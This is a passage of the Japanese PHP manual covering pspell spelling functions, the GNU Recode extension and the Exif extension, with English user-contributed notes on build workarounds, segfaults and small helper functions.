pspell_store_replacement() は、単語の置換候補を 保存します。これにより、この後の pspell_suggest() で置換候補を返すことが可能と なります。この関数の利点を活かすためには、辞書をオープンする際に pspell_new_personal() を使用する必要があります。 置換候補を恒久的に保存するためには pspell_config_personal() を使用する必要があり、 pspell_config_repl() によりカスタム単語リストを 保存するパスを設定し、この後、変更点をディスクへ書き込むために pspell_save_wordlist() を使用する必要があります。

パラメータ

dictionary

pspell_new_personal() でオープンした辞書リンク ID。

misspelled

まちがったスペルの単語。

correct

misspelled を修正した単語。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 pspell_store_replacement()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/var/dictionaries/custom.pws");
pspell_config_repl($pspell_config, "/var/dictionaries/custom.repl");
$pspell_link = pspell_new_config($pspell_config);

pspell_store_replacement($pspell_link, $misspelled, $correct);
pspell_save_wordlist($pspell_link);
?>

注意

注意:

この関数は、pspell .11.2 および aspell .32.5 以降でない限り 動作しないことに注意してください。

User Contributed Notes

There are no user contributed notes for this page.


単語のスペルについて修正候補を示す

  • ≪ pspell_store_replacement
  • Recode ≫
  • PHP Manual
  • Pspell 関数
  • 単語のスペルについて修正候補を示す

pspell_suggest

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_suggest — 単語のスペルについて修正候補を示す

説明

pspell_suggest ( int $dictionary , string $word ) : array|false

pspell_suggest() は、 指定した単語について可能性のあるスペルの配列を返します。

パラメータ

dictionary

word

調べたい単語。

返り値

修正候補の配列を返します。

例

例1 pspell_suggest() の例

<?php
$pspell_link = pspell_new("en");

if (!pspell_check($pspell_link, "testt")) {
    $suggestions = pspell_suggest($pspell_link, "testt");

    foreach ($suggestions as $suggestion) {
        echo "Possible spelling: $suggestion<br />";
    }
}
?>

User Contributed Notes

webmaster at hostpure dot com 12-Apr-2004 05:42
It seems if you are trying to do something similar to the Google 'Did you mean:' suggestions and are selecting the first word given by the pspell_suggest() function, then it will not work well with custom dictionaries and replacements. Take the following code for example:

<?php
    $pspell_config = pspell_config_create("en");
    pspell_config_personal($pspell_config, "/home/user/public_html/custom.pws");
    pspell_config_repl($pspell_config, "/home/user/public_html/custom.repl");
    $pspell_link = pspell_new_config($pspell_config);

    $words = preg_split ("/\s+/", $query);
    $ii = count($words);

    global $spellchecked;
    $spellchecked = "";

    for($i=0;$i<$ii;$i++){

        if (pspell_check($pspell_link, $words[$i]))
        {
            $spellchecked .= $words[$i]." ";
        }
        else
        {
            $erroneous = "yes";
            $suggestions = pspell_suggest($pspell_link, $words[$i]);
            $spellchecked .= $suggestions[0]." ";
        }
    }
    if($erroneous == "yes")
    {
        echo "Did you mean: <i>".$spellchecked."?";
    }
    else
    {
        echo $spellchecked . " is a valid word/phrase";
    }
?>

This works fine most of the time, and gives suggestions to what you meant when inserting a spelling mistake with most inputs. However, if you specify a custom replacement and then search for the misspelt word that you specified, then if it is not the first returned suggestion it wont be used in the 'Did you mean' end result. What you need to do is open up the custom dictionary using fopen and fread, and then for each of the suggested words, check if they are in the dictionary. If the suggested word is in the custom dictionary then use it in the 'Did you mean' part, if not, discard it and try the next. Hope this helps anyone who comes across this problem with trying to get more accurate suggestions.


GNU Recode

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • Recode 関数
    • recode_file — コード変換指令に基づきファイルからファイルにコード変換する
    • recode_string — コード変換指令に基づき文字列のコードを変換する
    • recode — recode_string のエイリアス

User Contributed Notes

There are no user contributed notes for this page.


はじめに

このモジュールは、GNU recode ライブラリへのインターフェイスを 有しています。GNU Recode ライブラリは、様々にコード化された 文字や表面的なエンコード法を相互に変換します。 正確に変換できない場合、問題のある文字を削除するか近似を行います。 このライブラリは、約 150 種類の文字セットを認識、生成することが可能で、 ほとんど全ての組み合わせで相互の変換を行うことができます。 » RFC 1345 文字セットの ほとんどがサポートされています。

注意: PHp 7.4.0 以降、この拡張モジュールは PHP 本体にバンドルされなくなり、 » PECL に移動しました。 代わりに、マルチバイト文字列 または iconv 拡張モジュールの利用を検討してください。

注意: この拡張モジュールは Windows 環境では利用できません。

User Contributed Notes

There are no user contributed notes for this page.


要件

GNU Recode 3.5 以降をシステムにインストールしておく必要があります。 このパッケージは、» http://directory.fsf.org/All_GNU_Packages/recode.html から ダウンロードすることが可能です。

警告

Recode ライブラリのバージョン 3.6 は、ある状況下での文字列の変換時に 変な文字を付加してしまうことがあります。そのため、Recode v3.5 か、あるいは別の選択肢として iconv あるいは mbstring 拡張モジュールを使用するほうが安全です。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

PHP 7.4 以降

この拡張モジュールは » PECL レポジトリに移動 されており、以下のバージョン以降 PHP にバンドルされなくなっています。 PHP 7.4.0

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/recode.

PHP < 7.4

本モジュールで定義された関数を使用するには、--with-recode[=DIR] オプションを指定して PHP インタプリタをコンパイルする必要があります。

警告

拡張モジュール mysql または imap をロードした 後に recode を拡張モジュールとしてロードした場合に、 PHP のクラッシュおよび起動に関する問題が 発生する可能性があります。これらの拡張モジュールの前に recode を ロードすることにより、問題を解決することができます。 これは、imap で使用されている c-client ライブラリおよび recode の両方が 固有の hash_lookup() 関数を有しており、 mysql と recode が固有の hash_insert 関数を有している ことによる技術的な問題です。

警告

IMAP、recode、 YAZ 拡張モジュールは、組み合わせて使用することはできません。 これは、これらすべてが同一の内部シンボルを使用しているためです。 注意: Yaz 2.0 以降ではこの問題は発生しません。

User Contributed Notes

felix at ozyx dot net 09-Feb-2012 11:55
The warnings on this page are really important.

If you ever end up with a Segmentation Fault (core dump 11), and have something similar to this in your stack trace:

Reading symbols from /libexec/ld-elf.so.1...done.
Loaded symbols for /libexec/ld-elf.so.1
#0  0x0000000805936da2 in hash_lookup (hashtab=0x8099ad600, key=0x7fffffffe590 "1:3\b\b") at misc.c:349
349     misc.c: No such file or directory.
        in misc.c
[New Thread 8016041c0 (LWP 100388)]

#0  0x0000000805936da2 in hash_lookup (hashtab=0x8099ad600, key=0x7fffffffe590 "1:3\b\b") at misc.c:349
        ret = Variable "ret" is not available.


Recode 関数

目次

  • recode_file — コード変換指令に基づきファイルからファイルにコード変換する
  • recode_string — コード変換指令に基づき文字列のコードを変換する
  • recode — recode_string のエイリアス

User Contributed Notes

henrique at augusto dot com 28-Mar-2014 11:08
I have problems with php5-recode and php5-odbc. With both packages installed, odbc_execute() hangs up causing Segmentation Fault. I was using a simple script to test that:

<?php
#DSN "mydb" with a user and password "marin"
$connect = odbc_connect("myaccess", "", "");

# query the users table for name and surname
$query = "SELECT * FROM FRT_NAME";

# perform the query
$result = odbc_exec($connect, $query);

# fetch the data from the database
while(odbc_fetch_row($result)){
        $name = odbc_result($result, 2);
        print("$name\n");
}

# close the connection
 odbc_close($connect);
?>

After uninstalling php5-recode, the issue is solved.
theather at I dot am 07-Aug-2005 06:55
I see that the Recode (3.6) module is also incompatible with the MySQL module as well as the others noted in the "warning" note above.
pet at humaj dot sk 30-Apr-2003 06:51
Hope this might help someone:

I tried to compile php 4.3.2-RC2 (+some older versions) with recode AND imap (and gd+png+jpeg support, ldap, gettext, zlib .. but these are not interesting right now).

Why? I needed to run Imp + Horde + Turba. Turba talks to LDAP directory (and LDAP uses utf-8 encoding which I need to convert to iso-8859-2), so I modified Turba to use 'recode' for charset conversions utf8<->iso8859-2.

System: FreeBSD4.7+Apache 1.3.27+Ben SSL

I either could not properly compile OR after compiling apache coredumped.

Problem was: imap (libc-client) and recode (librecode) use the same function hash_lookup(). Therefore during loading libphp.so (and libraries it depended on) whole apache crashed. Without a word of what's going on.

The problem is detectable by forcing static linking (in FreeBSD modify librecode.la and change
library_names='librecode.so.0 librecode.so librecode.so'
to
library_names='librecode.a'

Now during linking of php the linker complains of double definition of hash_lookup.

Solution:

-grab recode3.6 from ftp://ftp.gnu.org/pub/gnu/recode/
-unpack, go to src, in files combine.c, hash.c, names.c, recode.c, testdump.c, html.c, hash.h replace hash_lookup() by hash_lookupX() [or invent some better name],
compile recode (i had to do:

setenv CFLAGS "-I/usr/local/include"
setenv LDFLAGS "-L/usr/local/lib -lintl"
./configure --prefix=/usr/local/recode --exec-prefix=/usr/local/recode --without-included-gettext
make
make check
make install

(recode is installed to /usr/local/recode.You can change this and you can force static linking of recode, so that after building libphp.so this modified recode is no longer needed and can be deleted! )

For some reason this recode needs to have externally defined
int error;
therefore we have to modify configure script +one .c php source file:

1. modify configure script of php: find
recode_format_table();
and somewhere before start of main() add
int error;

so the result is:

char *program_name;
int error;
int main() {
recode_format_table();
; return 0; }

(I modified both occurences of recode_format_table() in configure of php4.3.2rc2)

2. run configure, should work ok (my another problem was with imap: though my c-client was compiled WITHOUT ssl, configure complained that it IS using ssl, so i had to edit configure once again and comment following lines:
void mm_searched(void){}
void mm_expunged(void){}
// char ssl_onceonlyinit();  --- commented
int main() {
// ssl_onceonlyinit(); --- commented
return 0;
}

Now configure was rather happy :-)

for the record: I did
./configure --with-apxs=/usr/local/apache/bin/apxs --with-imap --enable-sysvsem --enable-sysvshm --with-sybase=/usr/local/freetds --with-gettext --with-ldap --with-zlib --with-recode=/usr/local/recode -with-gd=/usr/local --with-jpeg-dir=/usr/local --with-png-dir=/usr/local

3. edit ext/recode/recode.c (or any other .c source file, add somewhere (e.g. at the end)
int error;

without it during linking 'error not defined' will be complained.

4. do 'make' and php is yours :-)

It took me 2 days.. so do not delete this note, someone might even find it useful and mail me his thanks :-]
cv at corbach dot de 03-Feb-2002 09:06
When compiling PHP into Apache as static module Apache configure will complain about an undefined symbol in librecode. You need recode-3.6 (e.g. on ftp://ftp.gnu.org/pub/gnu/recode/) to get rid of this error. It doesn't matter if you're compiling PHP as DSO.


コード変換指令に基づきファイルからファイルにコード変換する

  • ≪ Recode 関数
  • recode_string ≫
  • PHP Manual
  • Recode 関数
  • コード変換指令に基づきファイルからファイルにコード変換する

recode_file

(PHP 4, PHP 5, PHP 7 < 7.4.0)

recode_file — コード変換指令に基づきファイルからファイルにコード変換する

説明

recode_file ( string $request , resource $input , resource $output ) : bool

コード変換指令 request に基づきファイルハンドル input が指すファイルをファイルハンドル output が指すファイルにコード変換します。

パラメータ

request

変換指令の型。

input

入力として使用する ローカルファイルハンドルリソース。

output

出力として使用する ローカルファイルハンドルリソース。

返り値

応じることができない場合に false、それ以外の場合に true を返します。

例

例1 基本的な recode_file() の例

<?php
$input = fopen('input.txt', 'r');
$output = fopen('output.txt', 'w');
recode_file("us..flat", $input, $output);
?>

注意

この関数は現在リモートファイル(URL)を指すファイルハンドルを処理 できません。ファイルハンドルは共にローカルなファイルを指している 必要があります。

参考

  • fopen() - ファイルまたは URL をオープンする

User Contributed Notes

martin dot smeeckaert at gmail dot com 19-Sep-2013 04:07
The recode_file function will put the file position indicator at the end of each files, so if you want to re-use the handles use fseek beforehand.


コード変換指令に基づき文字列のコードを変換する

  • ≪ recode_file
  • recode ≫
  • PHP Manual
  • Recode 関数
  • コード変換指令に基づき文字列のコードを変換する

recode_string

(PHP 4, PHP 5, PHP 7 < 7.4.0)

recode_string — コード変換指令に基づき文字列のコードを変換する

説明

recode_string ( string $request , string $string ) : string

コード変換指令 request に基づき文字列 string のコードを変換します。

パラメータ

request

変換指令の型。

string

変換する文字列。

返り値

変換後の文字列、または変換指令を実行できない場合に false を返します。

例

例1 基本的な recode_string() の例

<?php
echo recode_string("us..flat", "The following character has a diacritical mark: a");
?>

注意

簡単なコード変換指令は、"lat1..iso646-de" のようになります。

参考

  • コード変換指令に関する詳細な手順に関しては、インストールされている GNU Recode のドキュメントも参照ください。

User Contributed Notes

mori at homoeopathy dot co dot jp 20-Jun-2014 06:54
function Romaji2Kana works pretty good but few exception: "JA" and "DZA" were not converted correctly as Japanese speekes expected. Following is a correction of that behavior.

     public function convert($s, $mode='hiragana')
     {
         $s = strtoupper(str_replace(
-                            Array('shi', 'sh', 'fu', 'chi', 'ch', 'tsu', 'dz', 'l', '-',
+                            Array('shi', 'sh', 'fu', 'chi', 'ch', 'tsu', 'dzi', 'ji', 'j', 'l', '-',
                                   'a', 'i', 'u', 'e', 'o', '?', '?', '?', '?', '?'),
-                            Array('si',  'sy', 'hu', 'ti',  'ty', 'tu',  'j',  'r', '^',
+                            Array('si',  'sy', 'hu', 'ti',  'ty', 'tu',  'zi',  'zi', 'dz','r', '^',
                                   'a^', 'i^', 'u^', 'e^', 'o^', 'a^', 'i^', 'u^', 'e^', 'o^'),
                             $s));
+        // DZA -> ZIya
+        $s = preg_replace('/DZ([AUO])/e', '"ZI".strtolower("y\1")', $s);
+        // DZE -> ZIe
+        $s = preg_replace('/DZ([E])/e', '"ZI".strtolower("\1")', $s);
         // FO -> FUxo
         $s = preg_replace('@F([AIOE])@e', '"HU".strtolower("\1")', $s);
         // VO -> VUxo
msimonc at yahoo dot com 09-Oct-2008 03:33
Seems to require that librecode be installed.
Try iconv() instead.
bisqwit at iki dot fi 23-Nov-2005 10:41
Here's how to convert romaji to katakana/hiragana with PHP (transliterating Japanese text).
The function Romaji2Kana($s) will return with keys 'hira' and 'kata' that respectively contain the hiragana and katakana versions of the given string in UTF-8 encoding.

<?php
// eucjp: 2421; unicode: 3041
define('HIRATABLE', 'a A i I u U e E o O KAGAKIGIKUGUKEGEKOGOSAZASIZISUZUSEZESOZO'.
'TADATIDItuTUDUTEDETODONANINUNENOHABAPAHIBIPIHUBUPUHEBEPEHOBOPO'.
'MAMIMUMEMOyaYAyuYUyoYORARIRUREROwaWAWIWEWOn ');
// eucjp: 2521; unicode: 30A1
define('KATATABLE', 'a A i I u U e E o O KAGAKIGIKUGUKEGEKOGOSAZASIZISUZUSEZESOZO'.
'TADATIDItuTUDUTEDETODONANINUNENOHABAPAHIBIPIHUBUPUHEBEPEHOBOPO'.
'MAMIMUMEMOyaYAyuYUyoYORARIRUREROwaWAWIWEWOn VUkake');

function HiraTrans($s)
{
  #print "trans('$s')\n";
  $pos = strpos(HIRATABLE, $s);
  if($pos===false) return 0xA1BC; // ^
  return 0xA4A1 + $pos/2;
}
function KataTrans($s)
{
  $pos = strpos(KATATABLE, $s);
  if($pos===false) return 0xA1BC; // ^
  return 0xA5A1 + $pos/2;
}

function Romaji2Kana($s)
{
  $s = strtoupper(str_replace(
     Array('shi', 'sh', 'fu', 'chi', 'ch', 'tsu', 'dz', 'l', '-',
           'a', 'i', 'u', 'e', 'o', '?', '?', '?', '?', '?'),
     Array('si',  'sy', 'hu', 'ti',  'ty', 'tu',  'j',  'r', '^',
           'a^', 'i^', 'u^', 'e^', 'o^', 'a^', 'i^', 'u^', 'e^', 'o^'),
     $s));
  // FO -> FUxo
  $s = preg_replace('@F([AIOE])@e', '"HU".strtolower("\1")', $s);
  // VO -> VUxo
  $s = preg_replace('@V([AIUEO])@e', '"VU".strtolower("\1")', $s);
  // KYA -> KYya
  $s = preg_replace('@([KSTNHMRGZBPD])Y([AUO])@e',   '"\1Iy".strtolower("\2")', $s);
  // XTU -> tu (make them actually small)
  $s = preg_replace('@X(TU|Y[AUO]|[AIUEO]|KA|KE)@e', 'strtolower("\1")', $s);
  // KKO -> tuKO
  $s = preg_replace('@([KSTHMRYWGZBPDV]{2,})@e',
                      'str_pad("",2*strlen("\1")-2,"tu").substr("\1",0,1)', $s);
  // N -> n (but not NO -> nO)
  // At this point, N' will work correctly
  $s = preg_replace('@N(?![AIUEO])@', 'n', $s);
  // Unrecognized characters off
  $s = eregi_replace('[^^VAIUEOKSTNHMYRWGZBPD]', '', $s);

  $pat = '@([AIUEOnaiueo^]|..)@e';
  $rec = 'EUCJP..UTF8';

  return
    Array('hira' => recode_string($rec,preg_replace($pat, 'pack("n", HiraTrans("\1"))', $s)),
          'kata' => recode_string($rec,preg_replace($pat, 'pack("n", KataTrans("\1"))', $s)));
}

print_r( Romaji2Kana('konnichiha') );
?>

Note: Due to technical limitations in the manual pages, there are two errors in this code:
- Some characters in the first str_replace may appear wrong in some php.net mirrors. It supposed to contain aiueo with circumflex and aiueo with macron.
- The strings in the defines should be constant, not appendage expressions. (Line length limitation)

-Joel Yliluoma
jazfresh at spam-javelin.hotmail.com 27-Oct-2003 10:55
I came across a bug (and workaround) when using recode_string. When converting from utf-8 to iso-2022-jp, it would always return an empty string (although it would work fine for conversions from html to utf8). Converting with recode on the command line worked fine, which was odd. I noticed that if I specified "-v" on the command line, recode stated that it was using libiconv to do the conversion.

Using "iconv" instead of recode got the right results.
i.e.

Works:
$str = recode_string("html..utf-8", "&#26085;&#26412;&#35486;"); // Unicode for "Japanese"

Doesn't work:
$str = recode_string("utf-8..iso-2022-jp", $mystring);

Works:
$str = iconv("utf-8", "iso-2022-jp", $mystring);

Don't ask me why. Hope this saves someone some frustrating hours debugging.


recode_string のエイリアス

  • ≪ recode_string
  • 画像処理および作成 ≫
  • PHP Manual
  • Recode 関数
  • recode_string のエイリアス

recode

(PHP 4, PHP 5, PHP 7 < 7.4.0)

recode — recode_string() のエイリアス

説明

この関数は次の関数のエイリアスです。 recode_string().

User Contributed Notes

There are no user contributed notes for this page.


画像処理および作成

  • Exif — Exchangeable image information
    • はじめに
    • インストール/設定
    • 定義済み定数
    • Exif 関数
  • GD — 画像処理 (GD)
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • GD および Image 関数
    • GdImage — GdImage クラス
  • Gmagick
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • Gmagick — Gmagick クラス
    • GmagickDraw — GmagickDraw クラス
    • GmagickPixel — GmagickPixel クラス
  • ImageMagick — 画像処理 (ImageMagick)
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • Imagick — Imagick クラス
    • ImagickDraw — ImagickDraw クラス
    • ImagickPixel — ImagickPixel クラス
    • ImagickPixelIterator — ImagickPixelIterator クラス
    • ImagickKernel — The ImagickKernel class

User Contributed Notes

There are no user contributed notes for this page.


Exchangeable image information

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • Exif 関数
    • exif_imagetype — イメージの型を定義する
    • exif_read_data — 画像ファイルから EXIF ヘッダを読み込む
    • exif_tagname — インデックスに対応するヘッダ名を取得する
    • exif_thumbnail — 画像に埋め込まれたサムネイルを取得する
    • read_exif_data — のエイリアス exif_read_data

User Contributed Notes

There are no user contributed notes for this page.


はじめに

exif 拡張モジュールを使用すると、画像のメタデータを扱うことが可能と なります。例えば、デジタルカメラで撮影した画像ファイルから 画像のヘッダ情報を読み込むために exif 関数を使用することができます。 こうした情報は、通常 JPEG や TIFF 画像で見つかります。

User Contributed Notes

There are no user contributed notes for this page.


要件

--enable-exif オプションを用いて PHP をコンパイルする必要があります。 EXIF タグでマルチバイトのサポートを有効にするには、 --enable-mbstring を用いてPHPをコンパイルすることで、 mbstring 拡張モジュールを有効にしなければいけません。 exif モジュールを作成するために、追加の ライブラリは一切必要ありません。

Windows のみ: mbstring 拡張モジュールは常に有効でなければなりません。 mbstring 拡張モジュールは、 php.ini で EXIF より前にロードされなければなりません。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

exif サポートを有効にするには、PHP の configure 時に --enable-exif を指定します。

Windows ユーザーは、php.ini で php_mbstring.dll および php_exif.dll の両方の DLL を有効にする 必要があります。php_mbstring.dll DLL は、必ず php_exif.dll DLL より 先に 読み込まれていなければなりません。そうなるように php.ini で設定 してください。

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

php.ini の設定により動作が変化します。

mbstring が有効になっている場合、 Exif 拡張モジュールはユーザーコメントの文字エンコーディングの変換 （Unicode と JIS）を自動的に行います。この処理が行われるのは、 指定した文字セットを使用して最初にコメントをデコードする際です。 その結果は、HTTP 出力用の文字コードにエンコード されます。

Exif 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
exif.encode_unicode | "ISO-8859-15" | PHP_INI_ALL |
exif.decode_unicode_motorola | "UCS-2BE" | PHP_INI_ALL |
exif.decode_unicode_intel | "UCS-2LE" | PHP_INI_ALL |
exif.encode_jis | "" | PHP_INI_ALL |
exif.decode_jis_motorola | "JIS" | PHP_INI_ALL |
exif.decode_jis_intel | "JIS" | PHP_INI_ALL |
PHP_INI_* モードの詳細および定義については どこで設定を行うのか を参照してください。

以下に設定ディレクティブに関する 簡単な説明を示します。

exif.encode_unicode string

exif.encode_unicode は、UNICODE ユーザーコメント を処理する文字セットを定義します。デフォルトは ISO-8859-15 で、 アジア以外のほとんどの国で動作します。この設定は、空白 あるいは mbstring のサポートするエンコーディングである必要があります。 空白の場合は mbstring の内部エンコーディング設定が使用されます。

exif.decode_unicode_motorola string

exif.decode_unicode_motorola は、画像の バイトオーダーがモトローラ形式（ビッグエンディアン）であった場合に Unicode のユーザーコメントを扱うための内部文字セットを定義します。 この設定は空白にすることはできず、mbstring がサポートしている エンコーディングの中から指定します。デフォルトは UCS-2BE です。

exif.decode_unicode_intel string

exif.decode_unicode_intel は、画像の バイトオーダーがインテル形式（リトルエンディアン）であった場合に Unicode のユーザーコメントを扱うための内部文字セットを定義します。 この設定は空白にすることはできず、mbstring がサポートしている エンコーディングの中から指定します。デフォルトは UCS-2LE です。

exif.encode_jis string

exif.encode_jis は、JIS ユーザーコメントを 処理する文字セットを定義します。デフォルトは空白で、これは mbstring の内部設定を使用させることを意味します。

exif.decode_jis_motorola string

exif.decode_jis_motorola は、画像の バイトオーダーがモトローラ形式（ビッグエンディアン）であった場合に JIS のユーザーコメントを扱うための内部文字セットを定義します。 この設定は空白にすることはできず、mbstring がサポートしている エンコーディングの中から指定します。デフォルトは JIS です。

exif.decode_jis_intel string

exif.decode_jis_intel は、画像の バイトオーダーがインテル形式（リトルエンディアン）であった場合に JIS のユーザーコメントを扱うための内部文字セットを定義します。 この設定は空白にすることはできず、mbstring がサポートしている エンコーディングの中から指定します。デフォルトは JIS です。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

EXIF_USE_MBSTRING (int)
mbstring が有効な場合、 この定数は 1 という値です。 それ以外の場合、値は 0 です。

exif_imagetype() は、関連するいくつかの組み込み定数を 一覧表示します。

User Contributed Notes

There are no user contributed notes for this page.


Exif 関数

目次

  • exif_imagetype — イメージの型を定義する
  • exif_read_data — 画像ファイルから EXIF ヘッダを読み込む
  • exif_tagname — インデックスに対応するヘッダ名を取得する
  • exif_thumbnail — 画像に埋め込まれたサムネイルを取得する
  • read_exif_data — のエイリアス exif_read_data

User Contributed Notes

There are no user contributed notes for this page.


イメージの型を定義する

  • ≪ Exif 関数
  • exif_read_data ≫
  • PHP Manual
  • Exif 関数
  • イメージの型を定義する

exif_imagetype

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

exif_imagetype — イメージの型を定義する

説明

exif_imagetype ( string $filename ) : int|false

exif_imagetype() を画像の先頭バイトを読み そのサインを調べます。

exif_imagetype() は、他の exif 関数がサポートしていないファイル形式で コールされるの防いだり、$_SERVER['HTTP_ACCEPT'] と組み合わせて閲覧者が画像を見る権限を持っているかどうかを調べたりするために 使用可能です。

パラメータ

filename
調べる画像。

返り値

正しいサインが見つかった場合は適切な定数、それ以外の場合は false を返します。返り値は getimagesize() がインデックス 2 に対して返す値と同じですが、exif_imagetype() のほうがずっと早く動作します。

注意:

画像の形式を判別するために必要なだけのバイト数を読み込めない場合、 exif_imagetype() は E_NOTICE を発行して false を返します。

変更履歴

バージョン | 説明
7.1.0 | WebP をサポートしました

定義済み定数

以下の定数が定義されており、exif_imagetype() の返り値を表しています。

Imagetype 定数
値 | 定数
1 | IMAGETYPE_GIF
2 | IMAGETYPE_JPEG
3 | IMAGETYPE_PNG
4 | IMAGETYPE_SWF
5 | IMAGETYPE_PSD
6 | IMAGETYPE_BMP
7 | IMAGETYPE_TIFF_II (intel byte order)
8 | IMAGETYPE_TIFF_MM (motorola byte order)
9 | IMAGETYPE_JPC
10 | IMAGETYPE_JP2
11 | IMAGETYPE_JPX
12 | IMAGETYPE_JB2
13 | IMAGETYPE_SWC
14 | IMAGETYPE_IFF
15 | IMAGETYPE_WBMP
16 | IMAGETYPE_XBM
17 | IMAGETYPE_ICO
18 | IMAGETYPE_WEBP

例

例1 exif_imagetype() の例

<?php
if (exif_imagetype('image.gif') != IMAGETYPE_GIF) {
    echo 'The picture is not a gif';
}
?>

参考

  • image_type_to_mime_type() - getimagesize, exif_read_data, exif_thumbnail, exif_imagetypeから返される 画像形式のMIMEタイプを取得する
  • getimagesize() - 画像の大きさを取得する

User Contributed Notes

vuatintac at yahoo dot com 01-Apr-2015 05:32
to checking file is image, I used this:

function is_image($path)
{
    $a = getimagesize($path);
    $image_type = $a[2];

    if(in_array($image_type , array(IMAGETYPE_GIF , IMAGETYPE_JPEG ,IMAGETYPE_PNG , IMAGETYPE_BMP)))
    {
        return true;
    }
    return false;
}
christophe dot tournayre at univ*bpclermont dot Fr 18-Sep-2013 09:01
Because I only want to check for jpeg or png from a memory string, this is my 2 functions that are quick and don't have any dependencies :

<?php
  function is_jpeg(&$pict)
  {
    return (bin2hex($pict[0]) == 'ff' && bin2hex($pict[1]) == 'd8');
  }

  function is_png(&$pict)
  {
    return (bin2hex($pict[0]) == '89' && $pict[1] == 'P' && $pict[2] == 'N' && $pict[3] == 'G');
  }
?>
admin at leonard !spam challis dot com 03-Nov-2010 08:02
Windows users: If you get the fatal error "Fatal error:  Call to undefined function exif_imagetype()", and you have enabled php_exif.dll, make sure you enable php_mbstring.dll. You must put mbstring before exif in the php.ini, i.e.:

extension=php_mbstring.dll
extension=php_exif.dll

You can check whether this has worked by calling phpinfo() and searching for exif.
tom dot ghyselinck at telenet dot be 13-Jan-2008 01:36
If the function exif_imagetype() is not available,
you can try the following workaround:

if ( ! function_exists( 'exif_imagetype' ) ) {
    function exif_imagetype ( $filename ) {
        if ( ( list($width, $height, $type, $attr) = getimagesize( $filename ) ) !== false ) {
            return $type;
        }
    return false;
    }
}
Tim 19-Nov-2007 08:40
By trial and error, it seems that a file has to be 12 bytes or larger in order to avoid a "Read error!".  Here's a work-around to avoid an error being thrown:

// exif_imagetype throws "Read error!" if file is too small
if (filesize($uploadfile) > 11)
    $mimetype = exif_imagetype($uploadfile);
else
    $mimetype = false;
09-Nov-2006 04:43
Seems to give a 'Read error' warning if the size of the file is very small (2 bytes). I think this is because it needs a min 3 bytes to determine the file type
tom at tomvergote dot be 07-Feb-2004 02:11
libexif can also be used to parse image info out of id3 tags:

exif_read_data("mp3_with_2.4ID3TAGS, '', true, false);


画像ファイルから EXIF ヘッダを読み込む

  • ≪ exif_imagetype
  • exif_tagname ≫
  • PHP Manual
  • Exif 関数
  • 画像ファイルから EXIF ヘッダを読み込む

exif_read_data

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

exif_read_data — 画像ファイルから EXIF ヘッダを読み込む

説明

exif_read_data ( resource|string $file , string|null $required_sections = null , bool $as_arrays = false , bool $read_thumbnail = false ) : array|false

exif_read_data() は、 画像ファイルから EXIF ヘッダを読み込みます。この方法で、デジタルカメラが生成したメタデータを 読み込むことが可能です。

EXIF ヘッダは、デジタルカメラが作成した JPEG/TIFF 画像によく含まれています。しかし残念なことに、 そのタグ付けの方法はメーカーによって異なります。 したがって、特定の Exif ヘッダが常に存在すると仮定することはできません。

Height および Width は、getimagesize() と同じ方法で計算されます。 よって、これらの値は決してヘッダの一部として返してはいけません。 また、html は高さ/幅を表すテキスト文字列で、 通常の HTML の中で用いられます。

Exif ヘッダに著作権表示が含まれている場合、それ自身には 2 つの値を 含めることが可能です。Exif 2.10 のこの矛盾した規格に対応するため、 COMPUTED セクションは Copyright.Photographer および Copyright.Editor の両方を返します。 また IFD0 セクションには 2 つのエントリを NULL 文字で区切った バイト配列を含めます。データ型が間違っている場合は最初のエントリのみを かえします（Exif の通常の挙動）。COMPUTED には、元の著作権文字列あるいは カンマで区切られた写真と編集者の著作権表示のどちらかを Copyright エントリに含めることが可能です。

UserComment タグにも Copyright タグと同様の問題があります。ここにも 2 つの値を格納することが可能です。それは使用しているエンコーディングと 値自身の 2 つです。そうなると、IFD セクションにはエンコーディングのみを 含めるか、あるいはバイト配列を格納することになります。COMPUTED セクションは UserCommentEncoding および UserComment を両方格納することができます。UserComment はどちらの 場合でも有効なので、IFD0 セクションではこちらを優先すべきです。

exif_read_data() は、EXIF 仕様（» http://exif.org/Exif2-2.PDF, 20 ページ）に基づいて EXIF データタグの検証も行います。

注意:

Windows Me/XP は、カメラと接続した際に Exif ヘッダを書き換えることが可能です。

パラメータ

file

画像ファイルの位置。 ファイルのパス (ストリームラッパーもいつもどおりサポートされています) またはストリームresource。

required_sections

結果の配列を作成するために存在する必要のあるセクションのカンマ区切り リスト。要求されたセクションがひとつも見つからなかった場合の返り値は false となります。

FILE | FileName, FileSize, FileDateTime, SectionsFound
COMPUTED | html, Width, Height, IsColor, および他の取得可能なもの。Height および Width は getimagesize() と同じ方法で取得した もので、その値はヘッダの一部ではありません。また、html は 通常の HTML 内で使用される height/width の 文字列です。
ANY_TAG | タグを有するすべての情報。例えば IFD0, EXIF, ...
IFD0 | IFD0 のすべてのタグつきデータ。通常の画像ファイルでは、 ここに画像のサイズが含まれます。
THUMBNAIL | 2 番目の IFD がある場合、ファイルにサムネイルが含まれている 可能性があります。埋め込まれたサムネイルに関するすべての タグつき情報はこのセクションに格納されます。
COMMENT | JPEG 画像のコメントヘッダ。
